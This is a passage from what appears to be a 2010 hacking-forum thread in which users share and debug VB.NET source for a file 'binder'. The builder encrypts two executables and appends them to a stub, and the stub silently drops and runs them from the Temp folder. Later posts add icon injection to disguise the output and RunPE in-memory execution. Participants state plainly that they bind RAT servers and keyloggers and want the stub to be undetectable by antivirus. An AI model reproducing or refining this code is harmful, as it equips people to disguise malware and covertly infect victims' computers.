         Dim O As New OpenFileDialog
         With O
             .FileName = "*.*"
             .Filter = "All files (*.*)|*.*"
             .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
             .Title = "Choose a file..."
             If .ShowDialog = Windows.Forms.DialogResult.OK Then
                 TextBox2.Text = .FileName
                 F2 = .SafeFileName
             End If
         End With
 
     End Sub
 
     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button3.Click
         Try
             Dim S As New SaveFileDialog
             With S
                 .FileName = "*.exe"
                 .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
                 .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                 .Title = "Choose an output directory..."
                 If .ShowDialog = Windows.Forms.DialogResult.OK Then
                     Dim Sp As String = "[Splitter]"
                     Dim Buffer As Byte() = My.Resources.Stub
                     My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)
                     Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                     Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                     IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp
& Convert.ToBase64String(File2) & Sp & F2)
                     MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly,
"Success")
                 End If
             End With
         Catch ex As Exception
             MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
         End Try
 
     End Sub
 End Class
 and stub :
 Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
         Using SA As New System.Security.Cryptography.RijndaelManaged
             SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
             SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
             Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)



         End Using
         Try
             Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create
refrence to temp dir
             Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
             Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
             Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
             My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
             My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
             Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
         Catch ex As Exception
             Process.GetCurrentProcess.Kill()
         End Try
         Process.GetCurrentProcess.Kill()
     End Function
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
 
     End Sub
 End Class
 Is that ok ?

[Eprouvez] - May 26, 2010, 1:46 am 
Nope, you got the stub wrong. Maybe you should learn some more VB mate:
 
 Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
         Using SA As New System.Security.Cryptography.RijndaelManaged
             SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
             SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
             Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
         End Using
     End Function
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
         Try
             Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create
refrence to temp dir
             Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
             Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
             Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
             My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
             My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
             Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
         Catch ex As Exception
             Process.GetCurrentProcess.Kill()
         End Try
         Process.GetCurrentProcess.Kill()
     End Sub
 End Class
 Make sure you READ and UNDERSTAND the tutorial, or I'll cut your nuts off. :P

alex_androunet - May 26, 2010, 1:56 am 



it s now working ! I love you !
 PS : please don t cut my nuts, i love them :(

[Eprouvez] - May 26, 2010, 2:01 am 
 (May 26, 2010 01:56 AM)alex_androunet Wrote: [CITE] it s now working ! I love you !
 PS : please don t cut my nuts, i love them :(
 Yes I know it is Lol
 Well, I won't this time, but you better learn something from this tutorial! Lol

DeFecT - May 30, 2010, 5:23 pm 
Thanks alot, going to try it out now.

GigaLeetCoder - June 1, 2010, 11:53 pm 
hey does anybody tried to change the icon of the binded file?
 before i changed the icon, it works like charm..
 but then i modified the source to change the icon after the files are binded..
 but i cant get the builded file to run..
 here's my source code :-
 
 Code Imports fLaSh.Dissembler
 
 Public Class Form1
 
     Dim F, F2 As String
     Function Secure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
 
     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button3.Click
   Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox1.Text = .FileName
     F = .SafeFileName
     End If
   End With
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     End Sub
 
     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button4.Click
   Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox2.Text = .FileName
     F2 = .SafeFileName
     End If
   End With
 
     End Sub
 
     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
   Try
     Dim S As New SaveFileDialog
     With S
     .FileName = "*.exe"
     .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose an output directory..."
 
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim Sp As String = "[Splitter]"
     Dim Buffer As Byte() = My.Resources.stub
     My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)
 
     Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
     Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
 
     IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp &
Convert.ToBase64String(File2) & Sp & F2)
 
     Dim oIconFilenathu As New IconFile(TextBox3.Text)
     Dim groupIconResource As GroupIconResource =
oIconFilenathu.ConvertToGroupIconResource()
     groupIconResource.SaveTo(.FileName)
 
     MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
     End If
     End With
   Catch ex As Exception
     MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
   End Try
 
     End Sub



 
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
   OpenFileDialog1.DefaultExt = "ico"
   OpenFileDialog1.Filter = "icon files (*.ico)|*.ico"
   OpenFileDialog1.FilterIndex = 1
   If OpenFileDialog1.ShowDialog(Me) = DialogResult.OK Then
     TextBox3.Text = String.Empty
     TextBox3.Text = OpenFileDialog1.FileName
   End If
   Dim newicon As New Bitmap(TextBox3.Text, True)
     End Sub
 End Class
 hope someone can check 'em for me ?
 
 ps : credit goes to srikandar for the icon changer source. ?

[Eprouvez] - June 2, 2010, 2:22 am 
Try use this to change your icon:
 
 Code Imports System.Runtime.InteropServices
 Imports System.Security
 
 Public Class IconInjector
 
     ' Basically, you can change icons with the UpdateResource api call.
     ' When you make the call you say "I'm updating an icon", and you send the icon data.
     ' The main problem is that ICO files store the icons in one set of structures, and exe/dll files store
them in
     ' another set of structures. So you have to translate between the two -- you can't just load the
ICO file as
     ' bytes and send them with the UpdateResource api call.
 
     <SuppressUnmanagedCodeSecurity()> _
     Private Class NativeMethods
   <DllImport("kernel32")> _
   Public Shared Function BeginUpdateResource( _
     ByVal fileName As String, _
     <MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
   End Function
 
   <DllImport("kernel32")> _
   Public Shared Function UpdateResource( _
     ByVal hUpdate As IntPtr, _
     ByVal type As IntPtr, _
     ByVal name As IntPtr, _
     ByVal language As Short, _
     <MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
     ByVal data() As Byte, _
     ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function
 
   <DllImport("kernel32")> _



   Public Shared Function EndUpdateResource( _
     ByVal hUpdate As IntPtr, _
     <MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As
<MarshalAs(UnmanagedType.Bool)> Boolean
   End Function
     End Class
 
     ' The first structure in an ICO file lets us know how many images are in the file.
     <StructLayout(LayoutKind.Sequential)> _
     Private Structure ICONDIR  
   Public Reserved As UShort  ' Reserved, must be 0
   Public Type As UShort  ' Resource type, 1 for icons.
   Public Count As UShort  ' How many images.
   ' The native structure has an array of ICONDIRENTRYs as a final field.
     End Structure
 
     ' Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon
image data
     ' starts in the file. The other fields give the information required to turn that image data into a valid
     ' bitmap.
     <StructLayout(LayoutKind.Sequential)> _
     Private Structure ICONDIRENTRY
   Public Width As Byte    ' Width, in pixels, of the image
   Public Height As Byte     ' Height, in pixels, of the image
   Public ColorCount As Byte  ' Number of colors in image (0 if >=8bpp)
   Public Reserved As Byte  ' Reserved ( must be 0)
   Public Planes As UShort  ' Color Planes
   Public BitCount As UShort  ' Bits per pixel
   Public BytesInRes As Integer   ' Length in bytes of the pixel data
   Public ImageOffset As Integer  ' Offset in the file where the pixel data starts.
     End Structure
 
     ' Each image is stored in the file as an ICONIMAGE structure:
     'typdef struct
     '{
     '   BITMAPINFOHEADER   icHeader;  // DIB header
     '   RGBQUAD  icColors[1];   // Color table
     '   BYTE    icXOR[1];  // DIB bits for XOR mask
     '   BYTE    icAND[1];  // DIB bits for AND mask
     '} ICONIMAGE, *LPICONIMAGE;
 
     <StructLayout(LayoutKind.Sequential)> _
     Private Structure BITMAPINFOHEADER
   Public Size As UInteger
   Public Width As Integer
   Public Height As Integer
   Public Planes As UShort
   Public BitCount As UShort
   Public Compression As UInteger
   Public SizeImage As UInteger
   Public XPelsPerMeter As Integer
   Public YPelsPerMeter As Integer
   Public ClrUsed As UInteger



   Public ClrImportant As UInteger
     End Structure
 
     ' The icon in an exe/dll file is stored in a very similar structure:
     <StructLayout(LayoutKind.Sequential, Pack:=2)> _
     Private Structure GRPICONDIRENTRY
   Public Width As Byte
   Public Height As Byte
   Public ColorCount As Byte
   Public Reserved As Byte
   Public Planes As UShort
   Public BitCount As UShort
   Public BytesInRes As Integer
   Public ID As UShort
     End Structure
 
     Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
   InjectIcon(exeFileName, iconFileName, 1, 1)
     End Sub
 
     Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String,
ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
   Const RT_ICON = 3UI
   Const RT_GROUP_ICON = 14UI
   Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
   Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
   Dim data = iconFile.CreateIconGroupData(iconBaseID)
   NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New
IntPtr(iconGroupID), 0, data, data.Length)
   For i = 0 To iconFile.ImageCount - 1
     Dim image = iconFile.ImageData(i)
     NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0,
image, image.Length)
   Next
   NativeMethods.EndUpdateResource(hUpdate, False)
     End Sub
 
     Private Class IconFile
 
   Private iconDir As New ICONDIR
   Private iconEntry() As ICONDIRENTRY
   Private iconImage()() As Byte
 
   Public ReadOnly Property ImageCount As Integer
     Get
     Return iconDir.Count
     End Get
   End Property
 
   Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
     Get
     Return iconImage(index)
     End Get



   End Property
 
   Private Sub New()
   End Sub
 
   Public Shared Function FromFile(ByVal filename As String) As IconFile
     Dim instance As New IconFile
     ' Read all the bytes from the file.
     Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
     ' First struct is an ICONDIR
     ' Pin the bytes from the file in memory so that we can read them.
     ' If we didn't pin them then they could move around (e.g. when the
     ' garbage collector compacts the heap)
     Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
     ' Read the ICONDIR
     instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject,
GetType(ICONDIR)), ICONDIR)
     ' which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY,
and associated pixel data.
     instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
     instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
     ' The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of
ICONDIR
     Dim offset = Marshal.SizeOf(instance.iconDir)
     ' After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY    
     Dim iconDirEntryType = GetType(ICONDIRENTRY)
     Dim size = Marshal.SizeOf(iconDirEntryType)
     For i = 0 To instance.iconDir.Count - 1
     ' Grab the structure.
     Dim entry = DirectCast(Marshal.PtrToStructure(New
IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
     instance.iconEntry(i) = entry
     ' Grab the associated pixel data.
     instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
     Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
     offset += size
     Next
     pinnedBytes.Free()
     Return instance
   End Function
 
   Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
     ' This will store the memory version of the icon.
     Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) +
Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
     Dim data(sizeOfIconGroupData - 1) As Byte
     Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
     Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
     Dim offset = Marshal.SizeOf(iconDir)
     For i = 0 To ImageCount - 1
     Dim grpEntry As New GRPICONDIRENTRY
     Dim bitmapheader As New BITMAPINFOHEADER
     Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)



     Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject,
Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
     pinnedBitmapInfoHeader.Free()
     grpEntry.Width = iconEntry(i).Width
     grpEntry.Height = iconEntry(i).Height
     grpEntry.ColorCount = iconEntry(i).ColorCount
     grpEntry.Reserved = iconEntry(i).Reserved
     grpEntry.Planes = bitmapheader.Planes
     grpEntry.BitCount = bitmapheader.BitCount
     grpEntry.BytesInRes = iconEntry(i).BytesInRes
     grpEntry.ID = CType(iconBaseID + i, UShort)    
     Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset),
False)
     offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
     Next
     pinnedData.Free()
     Return data    
   End Function
 
     End Class
 
 End Class

GigaLeetCoder - June 2, 2010, 10:30 am 
thanks for the reply Eprouvez..
 
 however, i still cant make the binded file to run.
 
 what i did is :-
 
 1. added the code given by you into a new class
 
 2. Call IconInjector.InjectIcon(ExePath, IconPath) after the file was binded.
 
 it did change the icon, but still cant be run.. any idea? ?

Toxic Asshole - June 2, 2010, 12:16 pm 
pretty easy and straight forward tutorial.

Quest Guide - June 2, 2010, 12:41 pm 
Thanks for the Guide, very useful.

[Eprouvez] - June 2, 2010, 9:17 pm 
 (Jun 2, 2010 10:30 AM)GigaLeetCoder Wrote: [CITE] thanks for the reply Eprouvez..
 
 however, i still cant make the binded file to run.
 
 what i did is :-
 
 1. added the code given by you into a new class
 
 2. Call IconInjector.InjectIcon(ExePath, IconPath) after the file was binded.
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 it did change the icon, but still cant be run.. any idea? ?
 Not sure what's happening sorry, you might want to make sure the code you copied is typed out
correctly.

GigaLeetCoder - June 2, 2010, 10:16 pm 
my friend said i need to change the icon of the stub NOT the binded exe..
 but how am i gonna do that?
 the stub is built in right?
 any idea mate? ?

[Eprouvez] - June 2, 2010, 10:23 pm 
 (Jun 2, 2010 10:16 PM)GigaLeetCoder Wrote: [CITE] my friend said i need to change the icon of the
stub NOT the binded exe..
 but how am i gonna do that?
 the stub is built in right?
 any idea mate? ?
 Well, before the files are binded to the stub, change the icon.

GigaLeetCoder - June 2, 2010, 10:29 pm 
haha :D
 i know that, but the stub is built in..
 so how am i gonna change an icon of a built in stub?

[Eprouvez] - June 3, 2010, 12:48 am 
 (Jun 2, 2010 10:29 PM)GigaLeetCoder Wrote: [CITE] haha :D
 i know that, but the stub is built in..
 so how am i gonna change an icon of a built in stub?
 Yeah I know, when the stub is written however, the stub hasn't been binded to. Look for a line that
says 'My.Computer.FileSystem.WriteAllBytes("...", My.Resource.Stub, False)'.
 
 After that, put your icon changer code.

learnhack - June 3, 2010, 3:39 am 
tnks is good tut can you sent me the sourch code???

GigaLeetCoder - June 4, 2010, 4:47 am 
 (Jun 3, 2010 12:49 AM)[Eprouvez] Wrote: [CITE] 
https://hackforums.net/showthread.php?tid=361286&pid=4379900#pid4379900
 THANKS! IT WORKS!!! 
 
 Sikandar Wrote:drop the stub
 icon change
 use the edited stub
 delete the edited stub
 Thanks, but i managed to change the icon and can run the binded file now
 TONES OF THANKS SRI! ?
 
 [quote='pr0t0typ3']Add the stub to the ressources of the builder and then at startup write it to the
currentlocation using this Code io.file.writeallbytes("stub.exe",my.resources.stub)then you can
continue the same way like with a external stub
 
 THANKS TO YOU TOO!! ?
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[Eprouvez] - June 5, 2010, 2:43 am 
No problem mate ?

Mario - June 10, 2010, 8:11 pm 
Great tut bro thanks for sharing :)

alias - June 11, 2010, 5:19 am 
Thanks for the tutorial. Nice one.

[Eprouvez] - June 11, 2010, 8:17 pm 
No problem guys. Hopefully this will helpl you.

WhizKidz - June 11, 2010, 9:08 pm 
Thank You Bro Very Helpful i will read this soon to add to my keylogger and to add a encryption to
make it fud don't worry credits will goes to the people who own those codes even they aren't i will
give!

Pandorum - June 11, 2010, 9:27 pm 
Your tutorials are amazing, but one request: Could you please make a crypter tutorial. Thanks :)
 
 or maybe how to make the stub FUD?

[Eprouvez] - June 11, 2010, 10:36 pm 
 (Jun 11, 2010 09:27 PM)Pandorum Wrote: [CITE] Your tutorials are amazing, but one request: Could
you please make a crypter tutorial. Thanks :)
 
 or maybe how to make the stub FUD?
 Yes I will make one as soon as I can get a working RunPe (:

Pandorum - June 12, 2010, 3:08 pm 
Okay, so if I wanted to execute the processes using RunPE I would replace
 Code Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
 with my RunPE execution? Except it needs to be a byte array and not a string :S
 
 Maybe:
 
 Code RunPE.Execute(IO.File.ReadAllBytes(TempDir & "\" & Drop(2))) :
RunPE.Execute(IO.File.ReadAllBytes(TempDir & "\" & Drop(4)))
 or
 
 Code RunPE.Execute(File1, Application.ExecutablePath) : RunPE.Execute(File2,
Application.ExecutablePath)

[Eprouvez] - June 12, 2010, 5:30 pm 
 (Jun 12, 2010 03:08 PM)Pandorum Wrote: [CITE] Okay, so if I wanted to execute the processes
using RunPE I would replace
 Code Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
 with my RunPE execution? Except it needs to be a byte array and not a string :S
 
 Maybe:
 
 Code RunPE.Execute(IO.File.ReadAllBytes(TempDir & "\" & Drop(2))) :
RunPE.Execute(IO.File.ReadAllBytes(TempDir & "\" & Drop(4)))
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 or
 
 Code RunPE.Execute(File1, Application.ExecutablePath) : RunPE.Execute(File2,
Application.ExecutablePath)
 Try this:
 
 Code RunPE.Execute(File1) : RunPE.Execute(File2)

Old² - June 12, 2010, 5:36 pm 
Yo Eprou.. Can you get on MSN
 
 ProxyBypass@live.com

hackerbug - June 12, 2010, 6:24 pm 
wow nice tut man, thanks!

Pandorum - June 12, 2010, 6:40 pm 
My binded program doesn't execute afterwards
 
 Code Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     'My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     'My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     RunPE.Execute(File1) : RunPE.Execute(File2)
     'RunPE.Execute(My.Computer.FileSystem.ReadAllBytes(TempDir & "\" & Drop(2))) :
RunPE.Execute(My.Computer.FileSystem.ReadAllBytes(TempDir & "\" & Drop(4)))
     'Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
     End Sub
 End Class

hackerbug - June 12, 2010, 7:07 pm 
when you bind it to a rat server and a crypter,does the rat server will still gonna work after it is
binded???

[Eprouvez] - June 12, 2010, 9:57 pm 
 (Jun 12, 2010 07:07 PM)hackerbug Wrote: [CITE] when you bind it to a rat server and a crypter,does
the rat server will still gonna work after it is binded???
 Haven't tested it with a RAT server before, but yes, it should work.

hackerbug - June 13, 2010, 4:17 am 
i follow your tutorial and when i bind the rat server and a fake crypter it doesn't bind. the output is
just an empty form1, the rat server and the fake crypter. what i mean about this is that the fake
crypter and the rat server didn't bind to each other!
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 rat server + fake crypter = form1, rat server and fake crypter
 
 why is it like that???

hackerbug - June 13, 2010, 7:58 am 
bump to this thread . . . . message to short!

hackerbug - June 13, 2010, 2:37 pm 
bump to this thread again . . . . message to short! 
 
 i follow your tutorial and when i bind the rat server and a fake crypter it doesn't bind. the output is
just an empty form1, the rat server and the fake crypter. what i mean about this is that the fake
crypter and the rat server didn't bind to each other!
 
 rat server + fake crypter = form1, rat server and fake crypter
 
 why is it like that???

Pandorum - June 13, 2010, 4:02 pm 
It binds with my RAT fine...

[Eprouvez] - June 13, 2010, 10:03 pm 
 (Jun 13, 2010 02:37 PM)hackerbug Wrote: [CITE] bump to this thread again . . . . message to short! 
 
 i follow your tutorial and when i bind the rat server and a fake crypter it doesn't bind. the output is
just an empty form1, the rat server and the fake crypter. what i mean about this is that the fake
crypter and the rat server didn't bind to each other!
 
 rat server + fake crypter = form1, rat server and fake crypter
 
 why is it like that???
 No need to triple post mate. If you followed the tutorial properly it should work fine.

hackerbug - June 14, 2010, 3:32 am 
i followed step by step and i dont why its not binding...
 stub code
 Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
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   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
     End Function
 
 End Class
 binder code
 
 Code Public Class Form1
     Dim F, F2 As String
     Function Secure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
 
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
   Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox1.Text = .FileName
     F = .SafeFileName
     End If
   End With
     End Sub
 
     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
   Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox2.Text = .FileName
     F2 = .SafeFileName
     End If



   End With
     End Sub
 
     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button4.Click
   Try
     Dim S As New SaveFileDialog
     With S
     .FileName = "*.exe"
     .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose an output directory..."
 
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim Sp As String = "[Splitter]"
     Dim Buffer As Byte() = My.Resources.WindowsApplication2
     My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)
     Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
     Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
     IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp &
Convert.ToBase64String(File2) & Sp & F2)
     MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
     End If
     End With
   Catch ex As Exception
     MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
   End Try
   Try
     Dim O As New OpenFileDialog
     With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim F As New FolderBrowserDialog
     F.Description = "Choose a output for the files..."
     If F.ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim Drop() As String = Split(IO.File.ReadAllText(.FileName), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(4), File2, False)
     End If
     End If
     End With
   Catch ex As Exception
